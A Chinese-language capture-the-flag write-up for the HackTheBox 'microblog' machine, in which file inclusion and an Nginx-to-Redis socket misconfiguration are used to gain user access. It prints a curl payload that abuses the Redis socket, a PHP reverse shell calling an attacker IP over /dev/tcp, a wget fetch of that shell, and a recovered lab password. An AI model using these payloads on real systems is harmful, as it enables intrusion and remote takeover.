信息收集
RUSTSCAN NMAP
HOST 设置
80 PORT
一个类似创建自己博客功能的服务,可对自己博客进行增加标题内容图片等功能
3000 PORT
点击探索可发现cooper下存放的正是80端口服务的源代码
代码简单看后比较值得关注的内容如下
redis Unix 域套接字文件,以及用户pro参数被固定写为false,isPro()函数,fetchPage()函数,file_get_contents($line)处存在文件包含
文件包含漏洞
Nginx 配置错误利用
利用该漏洞来读取配置文件进行信息收集,从前面nmap扫描来看觉得是nginx反代出来的/etc/nginx/nginx.conf,/var/log/nginx/access.log,/etc/nginx/sites-enabled/default
Nginx 反向代理的特性之一: 就是可以使用UNIX 域套接字,通过指定套接字文件的路径来连接到后端服务器。这种方式适用于与本地的进程或服务进行通信,例如与 Redis 或 FastCGI 进程通信
参考:Middleware everywhere and lots of misconfigurations to fix | Detectify Labs
修改用户的Pro值为true
curl -X HMSET "http://microblog.htb/static/unix:%2Fvar%2Frun%2Fredis%2Fredis.sock:asc%20pro%20true%20a/d"
只有用户的pro值为true时才可以出现uploads目录 借此目录进行getshell
绝对路径为: /var/www/microblog/<你创建的博客名>/uploads/
USER FLAG
先写shell再通过shell使用wget来下载reshell.php
#reshell.php
<?php
$host='10.10.14.33';
$port=1234;
$shell="/bin/bash";
$cmd ="nohup $shell -c 'bash -i >& /dev/tcp/$host/$port 0>&1'";
exec($cmd);
?>
执行并访问reshell.php: ?0=wget http://10.10.14.xx:8000/reshell.php
连接redis数据库获取用户密码:redis-cli -s /var/run/redis/redis.sock
获取到 cooper的password: zooperdoopercooper
ROOT FLAG
留坑后期再补,没找到正确的提权思路